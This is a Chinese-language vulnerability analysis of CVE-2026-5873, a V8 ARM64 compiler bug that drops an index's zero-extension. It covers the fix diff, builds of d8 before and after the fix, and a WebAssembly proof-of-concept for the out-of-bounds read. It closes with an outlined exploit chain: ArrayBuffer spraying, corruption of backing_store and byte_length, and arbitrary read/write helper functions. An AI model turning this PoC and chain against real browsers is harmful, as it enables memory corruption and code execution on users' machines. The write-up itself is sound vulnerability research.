漏洞信息
https://www.cve.org/CVERecord?id=CVE-2026-5873
CVE-2026-5873是Google Chrome/Chromium V8引擎的越界读写漏洞
漏洞根因 :V8 Turbofan编译器在ARM64后端把一个必须保持32-bit语义的index,错误折叠进了ARM64 load/store地址模式里,这会导致其丢失对其高32位的零扩展步骤,从而导致实际访存地址用到了未正确截断的值,实现越界读写
利用效果 :V8沙箱内任意读写。结合其他漏洞进行沙箱逃逸后,可获得全进程空间任意读写能力,并可进一步升级为任意代码执行
V8 引擎 V8 是 Google 开发的 JavaScript 和 WebAssembly 执行引擎
一方面,它能解析JS源码,生成对应的字节码交由解释器执行,当某段代码反复执行,变“热”之后,它又能将字节码进一步编译成机器码加速执行;
另一方面,V8 还能编译和执行 WebAssembly 字节码,其在V8中有分层编译机制:
1 2 3 4 5 6 7 8 9 10 11 Wasm bytecode ↓ Liftoff baseline compiler ↓ 快速生成机器码,先跑起来 运行一段时间后,如果函数变热: ↓ Turbofan optimizing compiler ↓ 生成更快的优化机器码
二者关系:
1 2 Liftoff:快编译,代码质量一般,适合启动 Turbofan:慢一些,但优化更强,用于热点函数编译
漏洞定位 先安装google开发工具集
1 2 3 4 mkdir ~/tools && cd ~/toolsgit clone https://chromium.googlesource.com/chromium/tools/depot_tools.git echo 'export PATH=~/tools/depot_tools:$PATH' ' >> ~/.bashrc
下载v8源代码
1 2 3 4 mkdir ~/work && cd ~/workfetch v8 gclient sync
通过issue号定位提交日志
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 sevora@Lc:~/work/cve-2026-5873/v8$ git log --all --grep='496301615' commit 2a2b1a2791a145d151b7254836e646d940f82a81 Author: Matthias Liedtke <mliedtke@chromium.org> Date: Tue Mar 31 10:23:36 2026 +0200 [M138-LTS][compiler][arm64] Force explicit zero-extension of load index This is the merge-commit for : 1) [arm64][compiler] Always emit truncation to word32 cherry picked from commit 522e74a35cf4e53c3708ea396c299bfbb29d8489 2) [compiler][arm64] Reenable implicit truncation and force explicit zero-extension of load/store index cherry picked from commit 4ef5cc27aa50b4a7e3096bbbffaf5058a811a2a9 (cherry picked from commit 1d0f9af486bcf6db12f33ee6aeeb6d5e50342200) Bug: 496301615 Change-Id: I3a2624f838f8c2f2f4ed524f1c09cd781fdfded5 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7715258 Auto-Submit: Matthias Liedtke <mliedtke@chromium.org> Commit-Queue: Darius Mercadier <dmercadier@chromium.org> Reviewed-by: Darius Mercadier <dmercadier@chromium.org> Cr-Original-Commit-Position: refs/branch-heads/14.7@{#26} Cr-Original-Branched-From: 723547b98d2e75cb85556ab85479688c9fbe2f1e-refs/heads/14.7.173@{#1} Cr-Original-Branched-From: 3fc49d4c4cd9e6202fe21f5925899292ffadb20a-refs/heads/main@{#105661} Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7725435 Commit-Queue: Gyuyoung Kim (xWF) <qkim@google.com> Reviewed-by: Matthias Liedtke <mliedtke@chromium.org> Cr-Commit-Position: refs/branch-heads/13.8@{#108} Cr-Branched-From: 61ddd471ece346840bbebbb308dceb4b4ce31b28-refs/heads/13.8.258@{#1} Cr-Branched-From: fdb5de2c741658e94944f2ec1218530e98601c23-refs/heads/main@{#100480} commit f297f82fea9600676ba07a94e25764c6ffbd2ad5 Author: Matthias Liedtke <mliedtke@chromium.org> Date: Tue Mar 31 10:23:36 2026 +0200 Merged: [compiler][arm64] Force explicit zero-extension of load index This is the merge-commit for : 1) [arm64][compiler] Always emit truncation to word32 cherry picked from commit 522e74a35cf4e53c3708ea396c299bfbb29d8489 2) [compiler][arm64] Reenable implicit truncation and force explicit zero-extension of load/store index cherry picked from commit 4ef5cc27aa50b4a7e3096bbbffaf5058a811a2a9 Bug: 496301615 Change-Id: I3e5e13a90ad0a43768c9cd46a7ebd99d0f6a4e11 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7715044 Commit-Queue: Matthias Liedtke <mliedtke@chromium.org> Commit-Queue: Darius Mercadier <dmercadier@chromium.org> Reviewed-by: Darius Mercadier <dmercadier@chromium.org> Auto-Submit: Matthias Liedtke <mliedtke@chromium.org> Cr-Commit-Position: refs/branch-heads/14.6@{#63} Cr-Branched-From: e04c3a1a2543bdbee7beac8846c9cbe8f657636f-refs/heads/14.6.202@{#1} Cr-Branched-From: 3b0b01e6594ec362369dc16f069012a81748c8ba-refs/heads/main@{#105132} commit 1d0f9af486bcf6db12f33ee6aeeb6d5e50342200 Author: Matthias Liedtke <mliedtke@chromium.org> Date: Tue Mar 31 10:23:36 2026 +0200 Merged: [compiler][arm64] Force explicit zero-extension of load index This is the merge-commit for : 1) [arm64][compiler] Always emit truncation to word32 cherry picked from commit 522e74a35cf4e53c3708ea396c299bfbb29d8489 2) [compiler][arm64] Reenable implicit truncation and force explicit zero-extension of load/store index cherry picked from commit 4ef5cc27aa50b4a7e3096bbbffaf5058a811a2a9 Bug: 496301615 Change-Id: I3a2624f838f8c2f2f4ed524f1c09cd781fdfded5 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7715258 Auto-Submit: Matthias Liedtke <mliedtke@chromium.org> Commit-Queue: Darius Mercadier <dmercadier@chromium.org> Reviewed-by: Darius Mercadier <dmercadier@chromium.org> Cr-Commit-Position: refs/branch-heads/14.7@{#26} Cr-Branched-From: 723547b98d2e75cb85556ab85479688c9fbe2f1e-refs/heads/14.7.173@{#1} Cr-Branched-From: 3fc49d4c4cd9e6202fe21f5925899292ffadb20a-refs/heads/main@{#105661} commit 4ef5cc27aa50b4a7e3096bbbffaf5058a811a2a9 Author: Matthias Liedtke <mliedtke@chromium.org> Date: Fri Mar 27 11:53:00 2026 +0100 [compiler][arm64] Reenable implicit truncation and force explicit zero-extension of load/store index Bug: 496301615 Change-Id: Ibb905e90bee08ce83ce77bd7400e716e47d61882 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7705594 Commit-Queue: Matthias Liedtke <mliedtke@chromium.org> Reviewed-by: Darius Mercadier <dmercadier@chromium.org> Cr-Commit-Position: refs/heads/main@{#106107} commit 522e74a35cf4e53c3708ea396c299bfbb29d8489 Author: Matthias Liedtke <mliedtke@chromium.org> Date: Thu Mar 26 12:52:29 2026 +0100 [arm64][compiler] Always emit truncation to word32 Bug: 496301615 Change-Id: I1c53a53bb0636cfbb03b61e522726b5f2edc3d6b Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7702193 Reviewed-by: Darius Mercadier <dmercadier@chromium.org> Commit-Queue: Darius Mercadier <dmercadier@chromium.org> Cr-Commit-Position: refs/heads/main@{#106068} [1]+ Stopped git log --all --grep='496301615'
发现该漏洞的修复包含两次提交,1d0f9af486bcf6db12f33ee6aeeb6d5e50342200为合并提交,对该提交做git diff
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 sevora@Lc:~/work/cve-2026-5873/v8$ git diff 1d0f9af^ 1d0f9af diff --git a/src/compiler/backend/arm64/instruction-selector-arm64.cc b/src/compiler/backend/arm64/instruction-selector-arm64.cc index 16f8a4f79d1..ec76849fbeb 100644 --- a/src/compiler/backend/arm64/instruction-selector-arm64.cc +++ b/src/compiler/backend/arm64/instruction-selector-arm64.cc @@ -581,13 +581,10 @@ bool TryMatchLoadStoreShift(Arm64OperandGenerator* g, OpIndex index, InstructionOperand* index_op, InstructionOperand* shift_immediate_op) { if (!selector->CanCover(node, index)) return false ; - if (const ChangeOp* change = - selector->Get(index).TryCast<Opmask::kChangeUint32ToUint64>(); - change && selector->CanCover(index, change->input())) { - index = change->input(); - } const ShiftOp* shift = selector->Get(index).TryCast<Opmask::kShiftLeft>(); - if (shift == nullptr) return false ; + if (shift == nullptr || shift ->rep != RegisterRepresentation::WordPtr()) { + return false ; + } if (!g->CanBeLoadStoreShiftImmediate(shift ->right(), rep)) return false ; *index_op = g->UseRegister(shift ->left()); *shift_immediate_op = g->UseImmediate(shift ->right()); diff --git a/test/unittests/compiler/arm64/turboshaft-instruction-selector-arm64-unittest.cc b/test/unittests/compiler/arm64/turboshaft-instruction-selector-arm64-unittest.cc index f25b488d8ad..c8055c942ba 100644 --- a/test/unittests/compiler/arm64/turboshaft-instruction-selector-arm64-unittest.cc +++ b/test/unittests/compiler/arm64/turboshaft-instruction-selector-arm64-unittest.cc @@ -6514,13 +6514,7 @@ TEST_P(TurboshaftInstructionSelectorMemoryAccessTest, LoadWithShiftedIndex) { m.Return(m.Load(memacc.memory_rep, memacc.result_rep, m.Parameter(0), m.ChangeUint32ToUint64(index))); Stream s = m.Build(); - if (immediate_shift == memacc.memory_rep.SizeInBytesLog2()) { - ASSERT_EQ(1U, s.size()); - EXPECT_EQ(memacc.ldr_opcode, s[0]->arch_opcode()); - EXPECT_EQ(kMode_Operand2_R_LSL_I, s[0]->addressing_mode()); - EXPECT_EQ(3U, s[0]->InputCount()); - EXPECT_EQ(1U, s[0]->OutputCount()); - } else if (memacc.memory_rep == MemoryRepresentation::Simd128()) { + if (memacc.memory_rep == MemoryRepresentation::Simd128()) { ASSERT_EQ(2U, s.size()); EXPECT_EQ(memacc.ldr_opcode, s[1]->arch_opcode()); EXPECT_EQ(kMode_MRR, s[1]->addressing_mode()); @@ -6574,13 +6568,7 @@ TEST_P(TurboshaftInstructionSelectorMemoryAccessTest, StoreWithShiftedIndex) { m.Parameter(2), kNoWriteBarrier); m.Return(m.Int32Constant(0)); Stream s = m.Build(); - if (immediate_shift == memacc.memory_rep.SizeInBytesLog2()) { - ASSERT_EQ(1U, s.size()); - EXPECT_EQ(memacc.str_opcode, s[0]->arch_opcode()); - EXPECT_EQ(kMode_Operand2_R_LSL_I, s[0]->addressing_mode()); - EXPECT_EQ(4U, s[0]->InputCount()); - EXPECT_EQ(0U, s[0]->OutputCount()); - } else if (memacc.memory_rep == MemoryRepresentation::Simd128()) { + if (memacc.memory_rep == MemoryRepresentation::Simd128()) { ASSERT_EQ(2U, s.size()); EXPECT_EQ(memacc.str_opcode, s[1]->arch_opcode()); EXPECT_EQ(kMode_MRR, s[1]->addressing_mode());
此CVE的漏洞点具体位于V8的Turboshaft的ARM64后端(IR层->机器码层)
修复前:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 bool TryMatchLoadStoreShift (Arm64OperandGenerator* g, InstructionSelector* selector, MemoryRepresentation rep, OpIndex node, OpIndex index, InstructionOperand* index_op, InstructionOperand* shift_immediate_op) { if (!selector->CanCover (node, index)) return false ; if (const ChangeOp* change = selector->Get (index).TryCast <Opmask::kChangeUint32ToUint64>(); change && selector->CanCover (index, change->input ())) { index = change->input (); } const ShiftOp* shift = selector->Get (index).TryCast <Opmask::kShiftLeft>(); if (shift == nullptr ) return false ; if (!g->CanBeLoadStoreShiftImmediate (shift->right (), rep)) return false ; *index_op = g->UseRegister (shift->left ()); *shift_immediate_op = g->UseImmediate (shift->right ()); return true ; }
此函数会尝试匹配类似base + (index << shift)的结构,生成ARM64中的如下指令
1 2 ; 从x1 + (x2 << 3)读取数据,并将结果存到x0中 ldr x0, [x1, x2, lsl #3]
这会比先单独lsl再load少一条指令
1 2 lsl x_tmp, x2, #3 ldr x0, [x1, x_tmp]
此函数的意思是如果load/store的index是ChangeUint32ToUint64(x),那就把ChangeUint32ToUint64剥掉,直接用x
但是index可能只是语义上的32位,在物理层面上它可能仅仅是复用了一个64位寄存器的低32位,而ChangeUint32ToUint64在语义上要求零扩展,如果少了这一步会导致在实际计算地址时用到了原来高32位的脏数据,从而导致越界读写
修复后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 bool TryMatchLoadStoreShift (Arm64OperandGenerator* g, InstructionSelector* selector, MemoryRepresentation rep, OpIndex node, OpIndex index, InstructionOperand* index_op, InstructionOperand* shift_immediate_op) { if (!selector->CanCover (node, index)) return false ; const ShiftOp* shift = selector->Get (index).TryCast <Opmask::kShiftLeft>(); if (shift == nullptr || shift->rep != RegisterRepresentation::WordPtr ()) { return false ; } if (!g->CanBeLoadStoreShiftImmediate (shift->right (), rep)) return false ; *index_op = g->UseRegister (shift->left ()); *shift_immediate_op = g->UseImmediate (shift->right ()); return true ; }
修复主要做了如下事情:
不再剥掉ChangeUint32ToUint64
只允许WordPtr表示的shift被折叠进load/store地址模式
也就是说只有本身index就是64位语义才能进行上述合并,从而避免了潜在的越界读写
漏洞触发 d8 是 Chrome V8 JavaScript 引擎的官方开发者命令行 Shell ,是 V8 源码编译后生成的独立可执行程序,专为开发者调试 V8 引擎、分析 JavaScript 执行过程和测试 V8 功能,换言之,d8就是V8源码编译出来的可执行程序,后续复现就是编写poc.js和exp.js,交给d8执行,观测d8是否crash或者漏洞是否成功利用,从而证明V8层面漏洞的可复现性
编译d8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cd /home/sevora/work/cve-2026-5873/v8git checkout 1d0f9af486bcf6db12f33ee6aeeb6d5e50342200^ gclient sync tools/dev/v8gen.py arm64.debug mv out.gn/arm64.debug out.gn/arm64.beforeautoninja -C out.gn/arm64.before d8 git checkout 1d0f9af486bcf6db12f33ee6aeeb6d5e50342200 gclient sync tools/dev/v8gen.py arm64.debug mv out.gn/arm64.debug out.gn/arm64.afterautoninja -C out.gn/arm64.after d8
需要注意的是,由于我的电脑是x86-64架构,使用上述方法编译出来的是一个x64架构的可执行程序,只是它会通过simulator的机制来模拟arm64后端的逻辑
虽然后续的调试和利用显然不能使用这种方案,但是用于验证PoC已经足够
v8/poc.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 d8.file .execute ("test/mjsunit/wasm/wasm-module-builder.js" ); function hex32 (x ) { return "0x" + (x >>> 0 ).toString (16 ).padStart (8 , "0" ); } function callAndReport (name, fn ) { try { const r = fn (); print (`${name} : returned ${hex32(r)} ` ); return {ok : true , value : r >>> 0 }; } catch (e) { print (`${name} : trapped/threw: ${e} ` ); return {ok : false , error : e}; } } function buildModule ( ) { const builder = new WasmModuleBuilder (); builder.addMemory (1 , 1 ); builder.exportMemoryAs ("memory" ); builder.addFunction ("read" , makeSig ([kWasmI64], [kWasmI32])) .addBody ([ kExprLocalGet, 0 , kExprI32ConvertI64, kExprI32Const, 2 , kExprI32Shl, kExprI32LoadMem, 2 , 0 , ]) .exportFunc (); return builder.instantiate ().exports ; } const wasm = buildModule ();const mem32 = new Uint32Array (wasm.memory .buffer );mem32[0 ] = 0x41424344 ; mem32[1 ] = 0x11223344 ; mem32[2 ] = 0x55667788 ; print ("[*] Initial read(0): " + hex32 (wasm.read (0n )));for (let i = 0 ; i < 1000 ; i++) { wasm.read (0n ); wasm.read (1n ); wasm.read (2n ); } %WasmTierUpFunction (wasm.read ); print ("[*] After tier-up read(0): " + hex32 (wasm.read (0n )));print ("[*] Probe A: wrap alias check" );const alias = callAndReport ("read(1n << 32n)" , () => wasm.read (1n << 32n ));if (alias.ok ) { if (alias.value === mem32[0 ]) { print ("[+] Alias behavior matches Wasm semantics." ); } else { print ("[!] Suspicious: alias returned a different value." ); } } else { print ("[!] Suspicious on vulnerable ARM64 builds: alias may trap/crash instead of reading offset 0." ); } print ("[*] Probe B: ordinary OOB check" );const oob = callAndReport ("read(0x10000n)" , () => wasm.read (0x10000n ));if (!oob.ok ) { print ("[+] OOB correctly trapped." ); } else { print ("[!] Suspicious: OOB read returned instead of trapping." ); } print ("[*] Done." );
分别使用漏洞修复前后编译出的d8去验证漏洞存在性:
1 2 3 4 5 6 out.gn/arm64.before/d8 \ --allow-natives-syntax \ --liftoff \ --wasm-tier-up \ --trace-wasm-compilation-times \ poc.js
1 2 3 4 5 6 out.gn/arm64.after/d8 \ --allow-natives-syntax \ --liftoff \ --wasm-tier-up \ --trace-wasm-compilation-times \ poc.js
测试结果:符合预期结果
环境搭建
!本漏洞只能在macOS上复现,故可略过下述qemu-system配置部分
接下来需要对此漏洞进行进一步利用,由于这是一个v8 arm64后端编译器的洞,自然应当在arm64架构环境下去利用,所以我们需要编译一个arm64架构的d8,然后使用qemu执行
这里只对漏洞修复前的V8源码进行编译,由于debug版本充斥着大量DCHECK断言,所以编译时要将debug选项关掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 git checkout 1d0f9af486bcf6db12f33ee6aeeb6d5e50342200^ cd /home/sevora/work/cve-2026-5873/v8gn gen out.gn/arm64.release_sym --args=' target_os = "linux" target_cpu = "arm64" v8_target_cpu = "arm64" is_debug = false symbol_level = 2 use_sysroot = true use_siso = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_slow_dchecks = false dcheck_always_on = false ' autoninja -C out.gn/arm64.release_sym d8 -j8
本来想采用qemu-user的方案,但是qemu只要启动d8就会把我WSL内存打爆,所以后面又换成了qemu-system方案,具体如下:
qemu-system配置 安装依赖:
1 2 3 4 5 6 7 8 9 sudo apt updatesudo apt install -y \ qemu-system-arm \ qemu-efi-aarch64 \ qemu-utils \ cloud-image-utils \ openssh-client \ gdb-multiarch \ wget
新建目录:
1 2 mkdir -p ~/work/qemu-arm64-v8cd ~/work/qemu-arm64-v8
下载 Ubuntu 22.04 arm64 cloud image:
1 2 wget https://cloud-images.ubuntu.com/jammy/current/jammy-server-cloudimg-arm64.img \ -O ubuntu-arm64.img
扩容镜像:
1 qemu-img resize ubuntu-arm64.img 40G
生成 SSH key:
1 ssh-keygen -t ed25519 -f ./id_ed25519 -N ""
写 cloud-init 配置。这个配置会在 guest 里创建 ubuntu 用户,并安装一些调试工具:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 cat > user-data <<EOF #cloud-config hostname: arm64-v8 users: - name: ubuntu groups: sudo shell: /bin/bash sudo: ALL=(ALL) NOPASSWD:ALL ssh_authorized_keys: - $(cat ./id_ed25519.pub) package_update: true packages: - build-essential - gdb - gdbserver - git - python3 - curl - wget - vim - tmux - file - strace - ltrace - ca-certificates EOF
写 metadata:
1 2 3 4 cat > meta-data <<EOF instance-id: arm64-v8-001 local-hostname: arm64-v8 EOF
生成 cloud-init seed 镜像:
1 cloud-localds seed.img user-data meta-data
接下来写启动脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 cat > run.sh <<'EOF' set -euo pipefailqemu-system-aarch64 \ -machine virt \ -cpu cortex-a72 \ -smp 4 \ -m 4096 \ -bios /usr/share/AAVMF/AAVMF_CODE.fd \ -drive if =virtio,format=qcow2,file=ubuntu-arm64.img \ -drive if =virtio,format=raw,file=seed.img \ -netdev user,id =net0,hostfwd=tcp::2222-:22,hostfwd=tcp::1234-:1234 \ -device virtio-net-pci,netdev=net0 \ -nographic EOF chmod +x run.sh
第一次启动会比较慢。等它刷完 cloud-init 后,另开一个 WSL2 终端,SSH 进去:
1 2 cd ~/work/qemu-arm64-v8ssh -i ./id_ed25519 -p 2222 ubuntu@127.0.0.1
接下来需要将交叉编译好的arm64 d8和poc拷进去,但是由于d8运行还需要一系列动态链接库,所以需要把整个目录都拷进去
1 2 3 4 5 6 7 8 9 10 cd ~/work/cve-2026-5873/v8/out.gntar czf arm64.release_sym.tar.gz arm64.release_sym scp -i ~/work/qemu-arm64-v8/id_ed25519 -P 2222 \ arm64.release_sym.tar.gz \ ubuntu@127.0.0.1:~/work scp -i ~/work/qemu-arm64-v8/id_ed25519 -P 2222 \ ~/work/cve-2026-5873/v8/poc.js \ ubuntu@127.0.0.1:~/work
qemu guest中解压:
1 tar xzf arm64.release_sym.tar.gz
当前网络结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Windows 主机 代理软件监听: 127.0.0.1:7890 | | WSL localhost 转发 / 访问 Windows 代理 v WSL / Linux 环境 qemu-system-aarch64 进程运行在这里 | | QEMU user-mode NAT v QEMU Ubuntu arm64 虚拟机 IP: 10.0.2.15 网关: 10.0.2.2 DNS: 10.0.2.3
配置一下代理,QEMU的网关出口就是WSL所在的网络,而我的WSL开启了mirrored网络模式,所以WSL的127.0.0.1也指向主机,可以访问主机的代理
1 2 3 4 export http_proxy=http://10.0.2.2:7890export https_proxy=http://10.0.2.2:7890export HTTP_PROXY=http://10.0.2.2:7890export HTTPS_PROXY=http://10.0.2.2:7890
gdb配置 在正式用gdb调试d8之前,还需要在qemu中配一下pwndbg和v8调试脚本
1 2 3 4 mkdir ~/tools && cd ~/toolsgit clone https://github.com/pwndbg/pwndbg cd pwndbg./setup.sh
继续配置gdb v8调试支持
下载:
在~/.gdbinit开头中加入source /path/to/your/gdb-v8-support.py和source /path/to/your/gdbinit
~/.gdbinit
1 2 3 source /home/ubuntu/tools/pwndbg/gdbinit.pysource /home/ubuntu/tools/gdb-v8-support.pysource /home/ubuntu/tools/gdbinit
接下来就可以愉快地在qemu中调试d8了
测试:
1 2 3 4 5 6 7 cd ~/workgdb --args \ arm64.release_sym/d8 \ --allow-natives-syntax \ --liftoff \ --wasm-tier-up \ poc.js
漏洞利用 相关博客
失败原因
当前QEMU-SYSTEM Linux/ARM64配置下,CVE-2026-5873可以稳定得到OOB read
但是在该环境下,此漏洞无法获得OOB write能力,故无法进一步获取任意读写能力,在macOS环境下或可成功复现,这是因为再macOS上编译器后端的优化更激进,会将store指令的寻址也折叠成一条,从而导致越界写
证据:v8/src/wasm/compilation-environment.h
但是根据现有的信息,我们已经可以确定大致的利用思路
利用思路
第一步 :构建wasm漏洞函数
1 2 3 4 i64 参数 -> i32.convert_i64 -> i32.shl -> i32.load / i32.store
修复前 ARM64 Turboshaft 会把 ChangeUint32ToUint64(index << shift) 错误折叠进 ARM64 地址模式,绕过边界检查,导致高32位没有被正确清零
第二步 :构建OOB read/write原语
理想状态下编译后得到的机器码:
1 2 ldr w0, [x1, x0, lsl #2] ; OOB read str w2, [x1, x0, lsl #2] ; OOB write
其中x1是Wasm memory base,x0是传入的i64 index。 传1n << 32n这类值时,Wasm语义上应该wrap成0,但漏洞机器码会访问:
1 wasm_memory_base + (0x100000000 << shift)
使得未清零的高32位参与地址计算,形成OOB read/write
注意 :store指令的折叠只能在macOS上复现
第三步 :喷射JSArrayBuffer
大量分配JSArrayBuffer,写入可识别的数据模式
1 MAGIC0, id, MAGIC1, ~id, MAGIC2, offset, MAGIC3, size
然后再通过OOB read进行扫描,识别哪些地址落到了喷射缓冲区的数据区,注意区分如下两个概念:
即backing store里存的是实际写进去的数据;JSArrayBuffer对象里存的是V8元数据,扫描时扫到的是后者
第四步 :反向寻找JSArrayBuffer对象
找到backing store后,反向寻找对应的JSArrayBuffer对象。目标字段包括:
byte_length
max_byte_length
backing_store
第五步:破坏一个 ArrayBuffer 用OOB write修改目标 JSArrayBuffer:
byte_length -> 覆盖成很大
backing_store -> 指向 sandbox base 或目标地址
这样JS层获得一个上帝ArrayBuffer,再用DataView实现sandbox内任意读写
在JS层创建Dataview:
1 let dv = new DataView (GodBuffer );
通过如下方式可以对该Buffer内容进行读写:
1 2 dv.getUint32 (offset, true ) dv.setUint32 (offset, value, true )
如果我们通过OOB write反复修改backing_store,那么OOB read/write能力就扩展成了以被篡改 backing_store 为基址的读写能力,即任意读写能力
封装如下函数:
1 2 3 4 5 6 7 8 9 function aar32 (addr ) { setBackingStore (corruptedBuffer, addr); return dv.getUint32 (0 , true ); } function aaw32 (addr, val ) { setBackingStore (corruptedBuffer, addr); dv.setUint32 (0 , val, true ); }